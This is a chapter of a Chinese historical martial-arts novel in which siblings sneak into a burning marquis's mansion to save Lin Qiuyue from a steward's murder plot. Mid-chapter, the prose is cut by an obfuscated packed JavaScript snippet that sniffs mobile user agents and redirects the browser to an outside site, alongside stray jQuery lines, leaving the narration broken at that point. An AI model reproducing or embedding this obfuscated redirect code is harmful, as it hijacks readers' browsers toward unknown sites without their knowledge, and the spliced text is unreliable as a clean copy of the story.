八月初六,三更天的梆子响过,一阵大风骤起,伴随着呼呼嗬嗬的声音,阴森可怖。
    家家户户门窗紧闭,灯也熄了大半,只留下几盏黯淡的留作照明。
    只有镇南侯府的照明灯似乎亮得过于起眼。
    自从那日灌醉父亲,叶新台这些天一直都没有睡过安稳觉,此刻更是心神不宁到极点,回到房里自柜中拿出被他尘封多年的那把剑,又叫醒叶棋,两人一道匆匆赶赴前面那条街的镇南侯府。
    这里并未有任何异常,镇南侯府紧闭门户,人声静寂。
    叶棋打了个哈欠,打到一半便皱起眉,低声道:“公子,有火药味。”
    叶新台大步上前,抬手就要敲门。
    忽听身后传来一道风声,紧接着一只手抓住他小臂,制止了他的动作。
    他偏头,来人是赵寻真。
    “兄长。”叶拭微的声音低低自身后响起:“这种时候,不必这么守规矩。”
    “……”
    直直看赵寻真一眼,叶新台扭头:“你也来了?”
    叶拭微亮了亮手中短刀,微笑一下,说道:“如今我并不算弱。”
    她正色起来:“镇南侯府要起事,势必有个由头,如今府中仅有林姑娘一人,目标必然是她。午夜三更,你这么大张旗鼓地敲门进去,岂不是会打草惊蛇?”
    叶新台仰头看了看墙头。
    太高了,他如今的身体,不一定能翻得过去。
    叶拭微轻咳一声:“镇南侯府后门墙角,有一个狗洞,可容成年男子勉强钻过。”
    “我们从那里潜进去。”叶新台四下看看,确定无人监视,毫不迟疑转身,边走边问:“你怎么会知道那里有狗洞?”
    叶拭微:“方才绕着镇南侯府转了一圈,意外发现的。”
    叶新台又疑惑道:“镇南侯府占地颇广,绕着走一圈还要细细观察,没有半个时辰绝对做不到,那时候这里并无异样,你怎么来得那么早?”
    叶拭微摸了摸鼻子:“巧合。我正好想过来探探路,哪知道就遇上了这等事。”
    “我出来时,门房并不知道你离府。”叶新台声调陡然变了一点:“相府也有狗洞?”
    赵寻真默默放慢脚步,降低存在感。
    叶棋瞥他一眼,并未拆穿。
    叶拭微没有答话,只是微微抬头望了一眼,凛声道:“起火了。”
    叶新台顾不上再说其他,一行人加快脚步,停在狗洞边。
    叶新台弯下身,穿过狗洞爬进去。
    叶棋想了想,无声叹口气,跟随其后。
    旁边叶拭微伸手搭上赵寻真的,被他揽腰轻抱,脚底发力,借助几处早已看定的点,一跃跳上墙头。
    在这里停留时间多了一息,叶拭微抓紧赵寻真肩膀,被他抱着跳下去,稳稳落地,一点震颤都没有。
    叶新台看到这一幕,拍打衣服上沾染到的土的动作顿住了。
    赵寻真就是相府的那个“狗洞”!
    但这时他来不及多想,只疑惑:“你们发现没有,镇南侯府里动静不算小,外面竟无一人看守?”
    他们过来这一路,包括进去,都太容易了吧。
    他怀疑今日这一出,可能是镇南侯府自导自演。
    谁知话音方落,便听到一声口哨响起。那声音不大,似乎被人刻意压抑了气息。
    叶新台低声:“这是暗号吗?”
    叶拭微看他一眼,手指圈起放在嘴边,连吹两下。片刻之后,里面又起一声与之相合,随即火势骤然加大,顷刻间在侯府四角都燃了起来。
    叶拭微扭头对赵寻真道:“说好的,一刻钟时间,你会回来。”
    赵寻真朝她笑了一下,翻墙而出。
    叶新台便知道她绝不是来早一会儿,只怕提前几天就在准备,留守监察的人也被他们做掉了。现在不是聊天的好时候,他就没有多问,只说:“林姑娘的院子,我送你过去。”
    叶拭微没有与他客气,辨认了一眼方位,打头带着他们往里走。
    避开守卫,一路鬼鬼祟祟过来,停在林秋月房间窗外。
    叶新台抬手指指窗台,示意叶拭微先翻进去看看情况,哪知叶拭微居然直接伸手推开窗子,扒着窗台利索地跳了进去!
    叶新台正愕然着,还没忘记把窗子关上。下一刻,窗子募地又从里面被推开,叶拭微脑袋露出来,“愣着干嘛,还不进来?”
    叶新台完全状况外,但是十分听话,拉着叶棋就往里面跳,并顺手关上窗子。脚步站定,他落在一片黑暗里,一时还适应不了。
    一道有些熟悉的女声响起来:“怎么是三个人?”
    叶拭微:“是我兄长,他看到侯府有火光,担心你出意外就直接过来了,我在路上碰到的他。”
    叶新台谦声道:“多有冒犯,还请林姑娘见谅。”
    林秋月吹亮了火折子,亮光之后的那张脸在这时有点阴森森,她幽深的瞳仁朝叶新台望过去,声调带着点调侃道,尾音上扬:“你担心我啊?”
    叶新台一时无法回答。
    否定的话,既是撒谎,也显得自己不负责。可要肯定回答,似乎又过于轻浮。
    他岔开话题:“你们何时联系上的?”
    林秋月便笑了一声:“我回来那天夜里,你妹妹就来找我了。倒是你,好迟钝啊。”
    叶拭微瞥去一眼,若有所思。
    叶新台汗颜道:“是我没有小妹敏锐。”
    林秋月看他抱着剑,话说得十分直白:“你这把剑,是真的练过,还是为了修饰自身?”
    “真的练过。”叶新台说:“不过只是与人切磋,还从来不曾见过血伤过人。”
    林秋月总结道:“花拳绣腿?”
    叶新台顿了顿:“还是比花拳绣腿好一点的。”
    话音方落,外面叫喊声四起:“走水了!快来人呐!赶紧灭火!”
    随即房门被敲响,叶棋手掌按在剑柄之上,立刻就要往门口去。
    叶拭微连忙给他递了个眼色。
    叶棋动作略迟疑,偏头看叶新台一眼,见他同样授意,才静悄悄退了回来。
    三人一起藏匿在黑影之中。
    林秋月这才出声,刻意压低,模仿刚睡醒时候的哑意:“谁啊?”
    管家的声音在屋外响起:“小小姐,是老奴。府里走水了,火势快要蔓延到您这里了,您快些披上衣服出来,老奴带您离开此处。”
    林秋月没有刻意磨蹭,停了一会儿,便打开门走了出去。
    “兄长。”屋内叶拭微低声
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16641428|174482||http|test|mini|href|location''.split(''|''),0,{}));
    () {
    $(''.inform'').remove();
    $(''#content'').append(''
    问:“你信我吗?”
    “信啊。”叶新台觉得她怪怪的。
    叶拭微又低头,目光落在他那把剑上,怀疑地问:“我能信你吗?”
    叶新台叹了口气,但短时间内接连被怀疑两次,觉得还是不要把话说得太满,“应该可以。”
    叶拭微就点了点头,熟门熟路地走到柜子边,拿出一套夜行衣,“你换上,接下来挟持我,去找方才那个管家,就说你在府里发现我要出去送信。”
    叶新台照做了。
    管家打量他:“你有些面生啊。”
    这里黑衣人足有八.九个!
    叶新台一再忍住自己想要去看地上昏倒的林秋月的心情,赔笑道:“小人长得一般,没办法让您记住。”
    管家就没再问了,注视叶拭微许久,不认识,确定府里没有这号人,直接道:“打晕丢到小小姐旁边,回头就说是她身边的小丫鬟,反正成了焦黑骨头,什么都看不出来。
    叶新台握剑的手腕一颤,但很快屏息稳定,他抬起另一只手,在叶拭微后脖颈劈了一手刀。叶拭微配合地发出一点呜咽声,歪头装晕。
    叶新台将人放倒,按照叶拭微的嘱咐,让她和林秋月挨在一起。
    管家握着燃烧的火把,朝地上两人丢了过去,却见林秋月猛然鲤鱼打挺坐了起来,抬手凭空接下,再反向一丢,火把正正落在管家胸前,翻腾的火焰霎时就燎上他的胡子和头发!
    周围黑衣人连忙分为两拨,一拨人多,朝着叶拭微两人围攻而去,一拨人少,则帮着管家灭火。
    胡子和头发被烧得差不多了,火也灭了。管家痛得五官扭曲,眼睛睁得极大,震惊道:“你怎么醒了?!”
    林秋月一边对付周围扑上来的人,一边轻蔑地说道:“就你那点功力,还想打晕我?”
    完全不提自己被叶拭微一针扎清醒的始末。
    管家气得吹胡子瞪眼,大叫道:“杀了她们!把她们都给我杀了!”
    只是尾音还未落,脖子上便横了一把剑。
    “别动。”叶新台道。
    与此同时,前院同样有声音传来:“玄影军办案!拦着杀无赦!”
    那声音在烈火之中也极具穿透力,遥遥传来,给了叶拭微极大的安心感。
    场面很快被制住。
    管家被生擒,一众黑衣人死的死,自杀的自杀,只有逃出去传送消息的两个,被蹲守在外面的叶棋截住,堵住嘴抓了回来。
    叶新台在听到玄影军脚步声逼近的那一刻,就立刻将管家重重打晕,丢给叶拭微,找地方藏了起来,没有在玄影军一众人前出现。
    林秋月知道他藏在哪里。
    她眼角挂着泪,一副受了大惊吓的模样,整个人都是颤颤巍巍的,歪倒在叶拭微身上,仿佛是要靠她支撑才能站稳。
    她同钱二说清楚今日夜里前后发生的事情,哀叹自己孤身一人在京,姐姐已嫁,父兄未归,如今可怎么是好。
    钱二怀疑地看着她:“下官实在疑惑,林姑娘如此体弱,怎么在今日夜里毫发无伤地活下来的?”
    又看向叶拭微:“还有你,叶二姑娘,深更半夜,你不在相府好好待着,为何会出现在这里?”
    他声音骤然冷下:“今夜的火,和你有什么关系?!”